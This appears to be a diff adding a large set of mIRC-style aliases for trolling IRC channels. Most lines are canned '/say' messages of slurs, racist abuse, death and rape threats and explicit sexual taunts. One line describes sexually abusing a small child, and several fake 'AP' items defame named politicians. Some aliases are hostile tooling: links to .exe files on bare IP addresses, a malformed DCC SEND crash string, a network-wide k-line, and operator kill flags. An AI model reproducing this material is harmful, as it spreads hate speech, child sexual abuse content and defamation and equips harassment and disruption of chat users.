+  emo6 = "/say I have a few folks and co-depeants in my life, I have issues to deal with and some abusers, I called a womens hate crime rape place yesterday. I dont have any tollerance for sex workers, transgender whores, or folks that use that dont repsect me, or folks that dont respect my bounderies and respect my life.";
+  emo7 = "/say The reality of myself, and further gorwth today I took steps to take accountablity for my past, I take the steps to fight the future and the inevitbale death of myself. I feel dead now, happers but still lonely and insecure as fuck.";
+  emo8 = "/say I feel as if My life is meaning less and pointless, but hope is on the horozion, I might rent a car this weekend to take care of some affaris and scope out some subriubia and maybe go hikeing.";
+  emo9 = "/say The reality of Life, is not life it self, I found another sponsor, I want the insanity to end, I want recovery, the answer is to recovery is I dont, know. I just know what I dont want, I dont have the answers, but I find them more and more one day at a time, the fear of relpase, is not an option.";
+  emo10 = "/say I have some medical things, and therpey apointments this week as well and much more to do, Ive just be so very busy, I am going to turn in early tonight, and get a good workout. ";
+  ps2 = "/say AP - Hacking group PS4L has boasted a new firmware hack for the late model Playstation 2 systems that allows all current PS3 games to be played on the old system minus a few features. When asked about the new firmware Jessie M. was quoted as saying \"The only loss is the Rumble function which I don't think anyone will miss.\" The new hack for the firmware is set to be released on July 1, 2008.";
+  cutie578 = "/mode #1337juice -k;/msg cutie578 !join #1337juice";
+  malay = "/say Isap kote anjing";
+  block = "/say \0034,4::::::::::::::::::::::::::::::::::::::::::;/say \0034,4::::::::::::::::::::::::::::::::::::::::::;/say \0034,4::::::::::::::::::::::::::::::::::::::::::;/say \0034,4::::::::::::::::::::::::::::::::::::::::::;/say \0034,4::::::::::::::::::::::::::::::::::::::::::";
+  goof4 = "/say $0 : fucking bring the best you got and i hope its better then your mom cause i had that last night goof";
+  goof5 = "/say best you got cock bag lol your fucked and so is your little kindergarden drew";
+  malay2 = "/say <+     naya> vaper bye syg tonto kate";
+  uptime = "/say Uptime: 14 Hours - Load Average: 232.22 423.92 988.21";
+  dose = "/say <@dose> it's true that there is a shortage of doctors. people that don't have a family doc can get really fucked over.";
+  sonya = "/say im not mad for once in my life makes no sense at all";
+  convert = "/say $0: I just want to admit for the last 6 months or so I've enjoyed trolling this chatroom, including you and others, but after reading that we are nerds on irc and antisocial it made me realize .. I've been trolling myself. Hard. I'm going to change my ways and get serious about irc and stop trolling. Sorry about earlier.";
+  cms = "/say I might kindly and humbly request that you endeavour to tone down the endless barrage of  obscenities and insults. One can say a lot more with less";
+  sex = "/say If you keep trolling me $0, I'm going to insult your age, your current living situation, and your sexual preference. ";
+  kampung = "/say 16:06 vap0r changed the topic of #kampung to: http://wepump.in/ | penispump owns #kampung 2008 | WUT WUTWUT WUT WUT WUT HOI APE IIIIIIIIIIII.";
+  bleach = "/say  $0 : hurry the fuck up im about to leave";
+  bleach2 = "/say  $0 : dont put up with lame ass fucking trolling faggot bullshit";
+  bleach3 = "/say  $0 : u shouldnt have acted like a fag and got me banned from #efnet";
+  bleach4 = "/say  $0 : i'll have the feds on ur ass within 48 hrs";
+  dikky3 = "/say $0 : I DONT DO A SHOW BEFORE I GO TO WORK U ASSHOLE";
+  pokla = "/say http://96.235.19.225:8778/";
+  polka = "/say \0034,2COME CHECK OUT POLKA CAM \0035,11http://96.235.19.225:8778/ \0030,4[-------------LOL]\0030,13OMG - DOG IS SO CUTE";
+  nac = "/quote flags +SWALLOPS +OKILLS +SKILLS +SNOTICES; /mode vap0r +sw";
+  care2 = "/say care-meter: \00314[\0034||||\0035||..\0036....\00314] 45%";
+  smoking = "/say OooOoOo(^o^)_y-====*~~~";
+  frown = "/say o;/say   (;/say o";
+  mad = "/say sup im gonna sit here and get mad at people having a goodtime on the internet, colors bother me and i want to kill you, you have no skills like i do, i can shut down an internet connection, you sir have nothing besides a sense of humor which i lack to the fullest";
+  mad2 = "/say because he has nothing better to do at 2 in the fucking morning";
+  mad3 = "/say than sit on fucking irc with 11 other fucks";
+  mad4 = "/say and he has the audacity to tell me, a real fucking person";
+  mad5 = "/say who has a real fucking life";
+  mad6 = "/say and knows real important people";
+  mad7 = "/say and is working on a actual fucking album";
+  mad8 = "/say that i'm a motherfucking faggot";
+  mad9 = "/say which i may or may not be";
+  mad10 = "/say but whose business is def mine and not his";
+  mad11 = "/say and your name is $0 ???";
+  mad12 = "/say am i in high school again?";
+  mad13 = "/say or worse";
+  mad14 = "/say cyberhighschool";
+  dose2 = "/say <@dose> man, getting high on paint Really sucks";
+  raged = "/say $0 : sup im gonna sit here and get mad at people having a goodtime on the internet, colors bother me and i want to kill you, you have no skills like i do, i can shut down an internet connection, you sir have nothing besides a sense of humor which i lack to the fullest";
+  dose3 = "/say  <@     dose> i huffed a chart marker once, srs";
+  dose4 = "/say <dose-> cmon jupe me you useless cunt";
+  dose5 = "/say <dose-> sure i have warez";
+  dose6 = "/say <@dose-> you don't got the skills";
+  toes = "/say i tattoo'd my toes as little turds, then i make $0 suck em";
+  polka2 = "/say \00313,2OH HAHA COME CHECK OUT THE LIVING ROOM SHOWCASE WITH NO DOGS http://96.235.19.225:8778/";
+  ap = "/say AP - 2008 - For 2 weeks in a row Homosexual zombies have been spotted around the town of San Francisco, CA. When questioned, Zombie Specialist David Dean explained \"These desceased forms are being brought back to halflife due to the lack of fags in Heaven.\" Due to the cities extreme knack for tolerance these halflife forms have been allowed to stick around and can mostly be found in the Castro District of SF. ";
+  lol = "/say haaha haah haha aaah ah a aaah ";
+  lol2 = "/say ha ha aha hah ahahahh ha";
+  hotdog = "/say (---------) (---------) FOUR HOTDOGS (---------) (---------)";
+  ranger = "/say come to toronto and call me fat to my face. until that happens your just another small child online who thinks hes tough. kthx";
+  taint = "/say The need to tear down someone else in order to feel self importaint in understandable in a juvinile.";
+  lol3 = "/say uh HAHA lol... haah ah ha a";
+  lol4 = "/say BITCH! TALKIN LIKE A BITCH";
+  lol5 = "/say WHO THE FUCK SAYS THAT ONLY A GAY BITCH LIKE U";
+  lol6 = "/say SHHHHHHHHHHHHHHHHHITY";
+  lol7 = "/say GO SUCK ON SUM DICK FOR A PENNY";
+  lol8 = "/say FAG";
+  lol9 = "/say U A BITCH FOR NOT WRITING BACK";
+  lol10 = "/say GAAAAAAAAAAAAAAAAAAAAAAAAAAAAY";
+  lol11 = "/say U GAY TESTING";
+  big = "/hueg ";
+  kobe = "/say \0030T.\0033M.\0034H.\0035M.\0036A.\0037T.";
+  bootleg = "/say Now Playing - Phastman - Myspace Pimpin (2007) (Album: Web Life)";
+  arab3 = "/say im a go to slep";
+  blessed = "/say \0031,13PLEASE SIGN THE DE-LINK BLESSED.NET PETITION \0030,1___________________ ";
+  breakdown = "/say Last night, I went through an emotional breakdown that lasted about 5 hours long. It was prpbably the most terrible one where I literally confronted all my fears and problems. I almost was just about to give up on life but four of my closest friends helped me get through it.";
+  mod = "/say Hey shithead. If I find any of your posts modded down I'll metamod in agreement with the moderator. You are a piece of shit asshole who deserves to be modded down.";
+  dose7 = "/say <@dose-> wtf is a prion";
+  mild = "/say if you acted in real life like you do here on IRC you wouldn't get very far";
+  mild3 = "/say well all im sayin is my computer isnt a toy so dont play with me";
+  mild2 = "/say be more careful next time";
+  dose8 = "/say <dose-> Zomg vap0r's mommy taught him to script mIRC LoL!";
+  dose9 = "/say <dose-> me > you";
+  dfi = "/say you'll die for irc......lol that's the lamest fk'n thing i've ever read on irc, lol";
+  sonya2 = "/say well you are talking to phreek and you would know its him by the color he used i dont do that i dont know how now fuck off";
+  sonya3 = "/say lmao you just made urself look dumb (even more) cause im not sonya haha";
+  sonya4 = "/say this is phreek actually";
+  chan = "/exec - -out curl -s 'http://p0r.ninja/~v/chan.php'";
+  chan2 = "/say and yeah...i'm a mothefuckr....i fucked ur mom recently";
+  chan3 = "/say kick me agian and virus will distroy this channel...";
+  chan4 = "/say u should have ampalaya shake ya'll";
+  cd = "/say mp3- vap0r ft. birmingham squad - i kill irc ppl irl - 01 - i ripped paggas throat out and i pissed on his corpse (rmx)";
+  cd2 = "/say mp3- vap0r ft. dieforirc - rm -rf /home - 02 - removin your backups and forcing you into suicide";
+  cd3 = "/say mp3- zubwolf ft. zubwolf & zubwolf - the anti-vap0r tracks (limited edition) - 02 - list of things i hate about vap0r";
+  cd4 = "/say mp3- shaggs ft. vxp - go fuckoy ueflf cd 1 - 05 - brb hicnk tsotore";
+  cd5 = "/say mp3- arab ft. klatuu - friend 2 friend - 05 - playing tennis wont sustain my need for a friend (a russian story).mp3";
+  cd6 = "/say mp3- sup g00n posse ft. g00n - sup g00n - 01 - sup g00n (sup g00n rmx)";
+  chan5 = "/say how thus fucKing people love this fucking chat lounge... it hasn't any fun right here.. i should bomb this..";
+  chan6 = "/say what a knob! you keep on chatting in your little gay chatroom and i will live in the real world...laughable you have made my day";
+  chan7 = "/say wee Turki fucking you mathers TURK TURK TURK TURK Ozbekistan Uyqurustan Turkmanistan Azerbayijan TUrkey we are fuck you";
+  spoiler = "/say in the new Pinapple Express, Seth Rogen gets shot accidentally by James Franco at the end of the movie, and you think he is going to be fine until the scene dramatically cuts to his headstone @ his funeral with james franco crying uncontrollably while smoking the \"Cross Joint\" featured in the film";
+  spoiler2 = "/say In The Dark Knight, Batman duels with the Joker through battles all across Gotham City. These fights climax when Batman discovers that the Joker is his actual father who killed Wayne Sr. out of jealousy for his wife.";
+  disliked = "/say dont be joinin my channel with that gay ass join, msg, part shit";
+  powr = "/say my dad used to make some fucking amazing broiled burgers";
+  add = "pokey5 /say right Im a retard have a look in the mirror loser";
+  poil = "/say spoiler from irc.trollin.org #arab: Batman is portrayed early in the movie as a nutcase and is saught to be arrested. Joker's clowns break joker out of jail.. theres a car chase.. batman and joker face off in batman's new BATPOD a motorcycle.. Harvey dent reveals the identity of batman as HIMSELF (untrue).. batman kills joker.. gordon uses a huge axe to smash the batman light symbol (the dark knight)";
+  spoil = "/say spoiler from irc.trollin.org #arab: Batman is portrayed early in the movie as a nutcase and is saught to be arrested. Joker's clowns break joker out of jail.. theres a car chase.. batman and joker face off in batman's new BATPOD a motorcycle.. Harvey dent reveals the identity of batman as HIMSELF (untrue).. batman kills joker.. gordon uses a huge axe to smash the batman light symbol (the dark knight)";
+  arabspam = "/kline *@0.0.0.0/0 bla next time";
+  aim = "/say yesterday was the worst day of my life. i was chatting online with my girlfriend and another girl msgd me.. she said she loved me and wanted to have sex with me.. i copied what she said an pasted it into notepad to always remember it.. and her text was small and pink.. when i went to talk to my real girlfriend again my text was in small pink font and she knew something was up.. she broke up with me :(";
+  aim2 = "/say <@$0> yesterday was the worst day of my life. i was chatting online with my girlfriend and another girl msgd me.. she said she loved me and wanted to have sex with me.. i copied what she said an pasted it into notepad to always remember it.. and her text was small and pink.. when i went to talk to my real girlfriend again my text was in small pink font and she knew something was up.. she broke up with me :(";
+  wow = "/say i bet your lil' nub guild cant even kill gruul, weve had that shit on farm since march. so say whatever you wanna say, about me wasting my life on a video game. say im \"missing something\" because i don't get drunk and wasted every night with some popped collar faggot friends. but when you log on to azeroth, you best step off, 'cause you're on my home turf now";
+  otis = "/say maybe i snatched your ip out of the irc stream and ran a backwards trace against it, but hey, who knows right? Security exists for those who do not know how to break it.";
+  puppet = "/say $0: you should have some respect your a bitch mother fucker you wanna beef we can";
+  pctek = "/say $0 : we're working on something new";
+  pctek2 = "/say $0 : to packet storm them";
+  pctek3 = "/say $0 : once they get like 20 offenses";
+  pctek4 = "/say $0 : we are slowly working to identify each one of them individually";
+  pctek5 = "/say $0 : and we are going to turn this ibm es9000 mainframe on them";
+  pctek6 = "/say $0 : as a packet storm to crash their isp";
+  lyrics = "/say .lyrics daft punk - around the world";
+  tired = "/say $0: im tired of irc and you know why? because of you. thats right, because of you and people like you..or YOU PEOPLE. jesus, you'd think by now you'd finda fucking life and get off efnet, but youre stuck here forever sucking ur own dick, buck u im out";
+  america = "/say $0: I have a nice house, a good job and kids to raise. I dont have time for all this conspiracy stuff. If you arent doing anything wrong you dont have to worry about what the government does";
+  raccoon = "/say i will see to it that irc.nac.net gets delinked";
+  ritalin = "/say $0 : we need op just like these troll, on ritalin";
+  sonya5 = "/say i dont do shit and i am hardley even on irc you must be so butt hurts to keep trolling like this now go away emo shit";
+  gta = "/say girl, you must be grand theft auto: san andreas because once i get inside of you i'm going to do all sorts of illegal things";
+  goof6 = "/say $0 : punk face goof";
+  fed = "/say how about i call my uncle who's a fed?";
+  virus = "/say http://moviefather.com/redirect.php?url=http://38.103.173.116/ragebot.exehttp://79.152.73.72/VirusBuster.exe";
+  lyrics2 = "/say .lyrics darude-sandstorm";
+  overload = "/say you know what, i don't even give a shit, have fun on ignore, i aint got time for your shit";
+  bleach5 = "/say $0 : id like to get you in a cell alone one night real late";
+  sonya6 = "/say im about to be you jealous?";
+  drop = "/ctcp $0 schat \"X5O!P%@AP[4PZX54(P^)7CC)7}-STANDARD-ANTIVIRUS-TEST-FILE!+H\" 0 0 0";
+  wraith = "/say bryan i just wanna say im really happy you made the wraith botnet, i can tell that you spent a great deal of time on it.. and i appreciate that, youve really helped benefit the irc community.";
+  barackAP = "08 - Washington post reporter Jarvis McLarvin reports that RNC speaker and Vice-Presidential hopeful Sarah Palin's daughter Bristol Palin was impregnated by none other than Presidential hopeful and African-American Barack Obama.";
+  barack = "AP 08 - Washington post reporter Jarvis McLarvin reports that RNC speaker and Vice-Presidential hopeful Sarah Palin's daughter Bristol Palin was impregnated by none other than Presidential hopeful and African-American Barack Obama.";
+  ppres = "/say AP 08 - Washington post reporter Jarvis McLarvin reports that RNC speaker and Vice-Presidential hopeful Sarah Palin's daughter Bristol Palin was impregnated by none other than Presidential hopeful and African-American Barack Obama.";
+  pres = "/say AP 08 - Washington post reporter Jarvis McLarvin reports that RNC speaker and Vice-Presidential hopeful Sarah Palin's daughter Bristol Palin was impregnated by none other than Presidential hopeful and African-American Barack Obama.";
+  chan8 = "/say u should speak fagganese";
+  vae = "/say ignorance doesn't work once you've been found out.";
+  baad = "/say I do give a fuck to fbi, jinxshells, efnet, irc, internet, its been 8 years im fucking people up in the head and they threat me.";
+  baad2 = "/say What i did";
+  baad3 = "/say i dont know the english im the russian I speak the russian! mother russia! fuck the your country!";
+  baad4 = "/say 5 packets transmitted, 0 packets received, 100% packet loss";
+  chan9 = "/say How you dear do desohonor my person by saying some badwords in the shakespere language";
+  chan10 = "/say I connot join that well but I can speak 20 languages what is better?";
+  crap = "/say Inform you a lil bit befor u write so  a crap";
+  chan11 = "/say u r asshall";
+  gas = "/say man wtf who cares about how much a barrel of oil costs.. my car doesnt run on oil, i want to know how much a barrel of gas costs.. people in america concentrate on the wrong thing too much.. it's time to get smart";
+  colors = "/say \0031a\0032a\0033a\0034a\0035a\0036a\0037a\0038a\0039a\00310a\00311a\00312a\00313a\00314a\00315a";
+  g00nmad = "/say could you please just give the channel priority over pumpers?; /say for once.; /say just for this channel, let us maintain out gates; /say thats all i want";
+  chan12 = "/say why you bing like that";
+  raped = "/say http://media.newsbusters.org/stories/$0--would-be-gang-raped-blacks-manhattan.html";
+  kemal = "/say it makes my weekend somewhat like paradise";
+  kemal2 = "/say we know where you guys live";
+  kemal3 = "/say tell arab he shouldn't be acting like a pro when he lives in chile";
+  kemal4 = "/say I know some guys who can take him out for good";
+  kemal5 = "/say DFI = dicks for idiots";
+  kemal6 = "/say we have a budget of $$50,000 to find and kill each and every one of the so-called DFI members";
+  crag2 = "/say  woke up to the birds chirping but couldn't open my right eye, and you were gone. I went and looked in the mirror and saw DRIED EJACULATE on my face and in my eyelashes. I also found it on my breadspread and headboard. You disgusting pig, no it dosent end there. I went to thebathroom to wash your filth off and found that not only had you jacked off in my face while I was asleep, but you also took a SHIT on my bathroom floor. ";
+  craig3 = "/say What kind of peice of shit jacks off on someone when they are sleeping and then shits on the floor. I finally got your mess cleaned up and took a long hot shower, and went into my kitchen to make some coffee. There I find you took the entire 12 pack I bought last night along with a fifth of Patron....So lets recap what happened. ";
+  craig4 = "/say I fell asleep thinking this guy was so sweet and was going to have sex with him in the morning, to waking up with dried cum on my face, in my hair, eyes, on my headboard, etc.. and walking into my bathroom to find a turd coiled up on the floor like a snake ready to attack, and to top it all off, you took all the beer and a fifth of $55.00 patron out of my fridge.... ";
+  craig5 = "/say FUCK YOU ASSHOLE!!!!! ";
+  craig2 = "/say I woke up to the birds chirping but couldn't open my right eye, and you were gone. I went and looked in the mirror and saw DRIED EJACULATE on my face and in my eyelashes. I also found it on my breadspread and headboard. You disgusting pig, no it dosent end there. I went to thebathroom to wash your filth off and found that not only had you jacked off in my face while I was asleep, but you also took a SHIT on my bathroom floor. ";
+  chan13 = "/say i have the ftp name and password now, go fuck your dirty mother";
+  stocks = "/say  hey girl, what kind of hang seng china-affiliated corporations index constitute stock u into? im all about the sinofert holdings / china travel international investment hong kong / tianjin development / china agri-industries holdings limited / red chip / china overseas land and investment limited / beijing enterprises / denway motors / sinotruk (hong kong) / china power international development / china resources";
+  dot = "/say stuf you lackey";
+  dot2 = "/say fuck this dumb shit";
+  dot3 = "/say im tired of bryan getting all teenage bitchy";
+  dot4 = "/say i ahve a problem with arrogance.";
+  dot5 = "/say stop hanging out with fucking mooching retards";
+  dot6 = "/say godpseed i will join you with your /emopart";
+  good = "thing";
+  palin = "/say Say it ain't so, Joe, there you go again pointing backwards again. You preferenced your whole comment with the Bush administration. Now doggone it, let's look ahead and tell Americans what we have to plan to do for them in the future.";
+  palin2 = "/say In my comment there, it was a lame attempt at a joke and yours was a lame attempt at a joke, too, I guess, because nobody got it. Of course we know what a vice president does.";
+  palin3 = "/say Joe Six Pack, hockey moms across the nation, I think we need to band together and say never again. Never will we be exploited and taken advantage of again by those who are managing our money and loaning us these dollars. ";
+  dose10 = "/say <dose`> lol oh man that was weak;/say '$0'";
+  dose11 = "/say <d0se> you got noticably more quiet when i mentioned how lame you are for having a zero in your nick";
+  dose12 = "/say <@dose`> lol you two = owned";
+  dose13 = "/say <dose`> so fucking ignore already then";
+  dose14 = "/say <dose`> vap0r is disgruntled because he got anti-trolled;/say <dose`> no big deal";
+  dose15 = "/say <dose`> insect, shouldn't you be stalking baseball players and/or jerking off to hockey cards";
+  dose16 = "/say <dose`> you're just a pup vap0r";
+  dose18 = "/say <dose`> yeah you're like a little piece of shit biting at my ankles";
+  dose17 = "/say <dose`> Kreapsta, shouldn't you be snorting lithium and cutting yourself somewhere";
+  dose19 = "/say <@dose`> Kreapsta, people that wear doc martens and ripped jeans don't get to tell people when they fuck up";
+  dose20 = "/say <dose`> moving on ..";
+  chan14 = "/say go fuck yourself and your mother u cocksucking fagott";
+  chan15 = "/say at least I have manners and mother fucker is you";
+  rc = "/say I'm going to drive a remote controlled car into your mother's pussy and have it drive on her clitoris over and over again until she cums on it and it catches on fire and she dies from pussy burning";
+  chan16 = "/say lol who the fuk r u to talk motha fuka i dont fukin spent my days trying to connect to some shit";
+  chan17 = "/say yes fuck your mader!";
+  borg = "/say I find it hard to even enjoy IRC nowadays. so many assholes contaminate such a fun thing.";
+  borg2 = "/say aight, I'm done here. I'm sorry. EFnet are a bunch of twats who can't be civil. I would love to stay primarily because of you being here, but I'm tired of the childish behavior everyone seems to have on this network. if ya wanna visit me you can catch me on awesomeirc.ca - your channel clients don't like me so there's no reason for me to be here. again, sorry I can't stay.";
+  sec3 = "/say SEC is bunch of punk ass bitch.. they irc sooo seriously.. lalalla.. gay white boy rap";
+  mcdonalds = "/say McDonalds is easily the best tasting and best quality fast food in America. Period. There are more McDonalds stores than any other chain and they always have customers which is just a testament to the fact that they are better than any other place.. wendys, burger king, checkers, sonic, in-and-out, papa johns, pizza hut, all of them.";
+  chan18 = "/say whats ur fucking problem ??? didnt ur dad raped ur ass today ?";
+  luke = "/say not trying to burn you $0 your life speaks well enough that you are a loser no need for me to tell you :P";
+  luke2 = "/say $0, has such a sweet gay voice im jacking my dick to him singing right now ahhhh";
+  luke3 = "/say $0, in his 30's and because he had not accomplished anything in life he tries pathetic trolls on efnet kek";
+  luke4 = "/say nice 1 bedroom house LOL";
+  luke5 = "/say and now you pretend to type like a retard";
+  luke6 = "/say 10 years on efnet?";
+  luke7 = "/say you think alot of yourself don't you :)";
+  luke8 = "/say \"hey guys, message luke with ddos comin it will be cool\"";
+  ranger2 = "/say meet me in quebec and see whos talkin shit u poutine ass nigga";
+  pump2 = "/invite $0 #p-u-m-p";
+  pheco = "/say i feel like im gonna pike";
+  pheco2 = "/say which i could do that accent";
+  CAPS = "/say \0030TODAY IS CHANGE YOUR NICK TO CAPS DAY - SO MAN UP AND NICK UP - TO CAPS - \037ITS THE THING TO DO";
+  dbz = "/say $0, Basically my question to you is based on everything you've seen concerning the character of Bardock and Goku, what would happen if Goku had an actual meeting with his father? What words would they exchange? What would cause such a meeting, etc? It can be any continuity you choose. Now that you know what to write about, be creative and come up with what in your view would happen if father and son were to meet.";
+  chan19 = "/say you dog gizzum bottom-dwelling scum from hardwaste";
+  girl = "/say 13:32 <@arab> id love it; /say 13:32 <@arab> if $0 and $1; /say 13:32 <@arab> were female; /say 13:32 <@arab> and if it was irl; /say ; /say 13:32 <@arab> and if i was present";
+  chan20 = "/say dont talk about my mother u fucking peace of shit, 2 ill come to your house and rape all of you u fuckign cokc sucker]";
+  chan21 = "/say dear me such a sad little fuck, look take your fucking sad ass and share your frustrations with someone that gives a fuck";
+  dccsend = "/say :ADCC SEND \"ff\\u0266\\u029e\\u0254f\\u025f\" 0 0 0";
+  chan22 = "/say i'm a new comer u mother fucker";
+  chan23 = "/say yes im sure you have lots of cool friends who could beat me up right?";
+  chan24 = "/say i dont fucking with this shit until now";
+  chan25 = "/say whats the matter you thought you could just talk shit and i'll bend over like you mom did last night. sorry. fuck off. fig dish!";
+  chan26 = "/say yeh yeh find some one else to fuck with cause i'm not your mom.";
+  chan27 = "/say Youre still gay you mofo ass faggot. you love to fuck dogs";
+  chan28 = "/say i though your a fag if you take it in the ass as far as i knoe i havn't had any forign object in my ass";
+  chan29 = "/say hey buddy just cuz your mom is on the rag and your having to do your little sister tonight it's not ny fault.";
+  chan30 = "/say all i want is a fuckin pass so i can beat my meat cuz i havent had pussy in two days";
+  chan31 = "/say ill shove a pipe up ur ass and pour clorox down it if u dont stfu";
+  chan32 = "/say I bet you don't even have the balls to be a queer ";
+  chan33 = "/say man i will fucking murder your ass! i just came from fucking afghanistan and i can't remember how to do this shit so if you want to bang and swang, i will fucking throw down";
+  chan34 = "/say usa is fuck    OBAMAAAAA";
+  rude = "/say \0034halten sie";
+  rude2 = "/say \0034maleducato";
+  rude3 = "/say \0034grosero";
+  rude4 = "/say \0034onbeleefd";
+  rude5 = "/say \0034groller";
+  rude6 = "/say \0034primitif";
+  rude7 = "/say \0034th^o s\\u01a1";
+  rude8 = "/say \0034nesramen";
+  rude9 = "/say \0034grubus";
+  chan35 = "/say Ill fucking pop your eyesocket out and skullfuck you into oblivion";
+  chan36 = "/say go find yourself a dog...and leave me alone...";
+  chan37 = "/say you are a poor little guy who has nothing better to do than loosing some time on irc";
+  chan38 = "/say take care at your dick";
+  chan39 = "/say the river";
+  40oz = "/say its goin down in tampa \0030f1re vs \"g-\" \0034NO HOLDS BARRED \0037ALSO HEKTIK IS A FAG \0032ALSO N1TERYDER IS TOO OLD TO BE ALIVE \00313ALSO BILLEH IS A PUMP HATER \00312ALSO SUP ZIMZUM \00311ALSO ANALOG U MY DOG \00310ALSO RANGERJAH UR FAT LOL \0039ALSO SYNAPZE NICE PIZZA \0038ALSO G IS ALL UP IN THAT KWEEN PUSSY \0037ALSO CHEERIO WHERE YOU AT?";
+  fun = "/say heres a fun trick; /say hold down both shift keys; /say and type; /say THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG";
+  chan40 = "/say bye bye, try to survive yourself";
+  chan41 = "/say shut da fuck up gay dog no wan wants 2 here ur shit";
+  chan42 = "/say enjoy your popcorn wat.";
+  chan43 = "/say u licking slit i dont want ur fucking advice u mother fucker gay bastard";
+  chan44 = "/say i wanan shoet some gay with a bazooke";
+  chan45 = "/say if you tell me how i comming in tho a inc gaming so i tell you how you do a webbsite";
+  chan46 = "/say go suck bugnuts";
+  chan47 = "/say anyone that is on dreamhack and sells a dubbel male USb contact";
+  chan48 = "/say sounds like you have issues with people learning new trades";
+  chan49 = "/say you pricky ass hole just shut the fuck up and sit the fuck down you bitch face motherfucker random assface fuckface, cocklover cocksucker cockeater cockhead and cockseller prankster";
+  chan50 = "/say you want me to get hurted no lifer?";
+  chan51 = "/say Want my eggroll in yur mouth? Deep fried eggrol?";
+  chan52 = "/say you are a fag 4 caling me a fag you fag, suck big black cuck";
+  chan53 = "/say are you nuts i got a bisnis";
+  chan54 = "/say hey tough ass am i in the wrong room>";
+  chan55 = "/say LONG LIVE BIN LADEN !!!!!!!!  He PUTED THE TOWERS UP R ASSes MOTHERFICKING COWBOYS !!! :P";
+  chan56 = "/say WE DONT WANT U ASSHOLES IN EUROPE ONLY THE GIRL... to rape them :D";
+  chan57 = "/say so, I'll look around here with or no your help, idiot...";
+  chan58 = "/say tell me what do you understand by jagger...";
+  chan59 = "/say how to mod a fucking xbox with mirc";
+  chan60 = "/say ya me bro and idiot";
+  chan61 = "/say come u doush i ve done it before its just bein a really long time";
+  movie = "/say I.Wanna.Buttfuck.Your.Daughter.3.XXX.DVDRip.XviD-NYMPHO";
+  do = "and";
+  chan62 = "/say you watch Ufc that much if not you should";
+  ai = "/msg gay_dog @add $0 $1";
+  goat = "/say http://www.youtube.com/watch?v=VgAXZHMi_ws <- kid from efnet arrest tape";
+  zip = "/say 25244 63651 62815 57031 98552 17506 62926 21626";
+  chan63 = "/say well im out bitches in the mean while u can suck eachothers dicks or comps";
+  chan64 = "/say you no waht i dont even fucking believe any of this first time i come on this mirc thing and thers a bunch of crazy ppl and then theres fucking hacker and then a cop and god knows what else so wierd";
+  chan65 = "/say ahahahah what to much cumm in ur brain";
+  chan66 = "/say nice ip find bitch i hacked a guys ip from europ";
+  chan67 = "/say fidn me cockbite and suck my dick whore";
+  chan68 = "/say love to see you say it to my face i would fucking kill you pussy think ur hard because ur sat on your computer";
+  chan69 = "/say say some think now u fucking wet blanket";
+  chan70 = "/say just got back from iraq";
+  chan71 = "/say I'll be back later, I hope by then go grow a set up balls loser";
+  chan72 = "/say Bots are major faggles";
+  chan73 = "/say Sorry my motherfuckin hackin skills werent up to scratch numbnuts";
+  chan74 = "/say Suck me sideways fag";
+  chan75 = "/say srry wat im not a nerd like you and sit on my comp all dau i'm nubi here asshole";
+  bot = "/msg $0 msg gay_dog pass password, then /msg gay_dog pp4l (for invite)";
+  bill = "/say \0030\037FUCK IT;/say fuckin thing \037SUCKS;/say we'll do it \0034\037LIVE";
+  chan76 = "/say I can't believe that out of 10,000 sperm, you were the quickest.";
+  chan77 = "/say your moms face looks like a chaperone.";
+  chan78 = "/say Lost? You couldn't get a clue during the clue mating season in a field full of horny clues if you smeared your body with clue musk and did the clue mating dance.";
+  iphone = "/say http://img523.imageshack.us/img523/3086/newblueiphonehj6.gif <- apple droppin new blue iphone for July 4th (4g)";
+  nhl = "/spam;/spam2;/spam3";
+  nhl2 = "/say we are the warriors";
+  nhl3 = "/say we are the ones who fight for our rights";
+  nhl4 = "/say we fight alone";
+  nhl5 = "/say and yeah we get what we want";
+  nhl6 = "/say we love the battle";
+  nhl7 = "/say and we will die for our cause";
+  nhl8 = "/say we are the warriors of time";
+  nhl9 = "/say we are the warriors of \037time";
+  nhl10 = "/say yeah";
+  wshh = "/say HEY $0 I BRUTALLY GANGRAPED YOUR MOTHER ANALY WITH MY BOYS SHE LIKED IT TELL THAT BITCH TO WIPE THAT CUM OF HER STINKY FACE..FAG";
+  wshh2 = "/say seriously put a shity on giggle titties";
+  wshh3 = "/say ASHY HAHAHAHA GO PUT SOME LOTION AND SOME SPEED STICK OR SOME CUSTOM DEODORANT CUZ U GUYS SMELL LIKE A CHEESEBURGER WITH EXTRA ONION CALIFORNIA BITCH OXNARD CALIFORNIA BITCH";
+  wshh4 = "/say do you know a nigga that say he date dimes or better but his main bitch look like *straight shit?* put that nigga on \0034\037HOOD NETWORK ";
+  crazy = "/say damn what a bunch of idiots here, meant to be a place for people to ask questions and talk about that shit but as soon as you do all these fagot irc trolls talk shit";
+  wpm = "/say i happen to know theres no way possible you couldve typed that whole sentence that fast after your previous statement.. so chill out bro and stop using aliases and speak from the heart";
+  gametime = "/say johne:;/say analog:;/say insect:;/say shaggy:;/say \037\0039ITS GAMETIME";
+  gametime2 = "/say \0035\037*currently waiting on another player to enter the dressing room*";
+  saints = "/say \0031,8GEAUX SAINTS 8.55 5 PIECE SPICY CHICKEN STRIP\0031,1 \0034,1LOVE THAT CHICKEN FROM POPEYES \0031,8MEAL WITH GREASCUIT AND MASHED POTATOS 8.55 GEAUX SAINTS";
+  cup = "/say -> SAY MOTHER MAY I AND SPELL \"CUP\" :: Pass this along to 10 of your friends or you might die of the dreaded Canduru fish that swims in your dick and expands with spikes. ";
+  boy = "/say Once, when i was changing my little brother's diaper, i jacked him off. I don't know what drove me to do it, but I did. now i can't stop thinking about his little penis. I think i want him to grow up and fuck me.";
+  popeyes = "/say .stock afce";
+  wshh5 = "/say the black man comes from monkeys fuck you black man and all you ghetto rats.this y the white man hate you monkeys.yall r just a bad taste to the mouth.i am not talking to the black man that is doing good am talking about you dum fucking ass ghetto monkey";
+  g00nop = "/say THIS IS AN ALIAS.. IT IS TO POINT OUT THAT G00N ONLY TALKS ABOUT HIS NON-OP SITUATION AND CANT SEEM TO CHAT WITHOUT HIS @. JUST MEMORIZE THIS AND TRY TO COUNT HOW MANY TIMES YOULL SEE IT BECAUSE YOU \037WILL SEE IT AGAIN.";
+  zubwolf = "/say yeah man, i', true to the game pal all that graff shit u know like new york and stuff aahah";
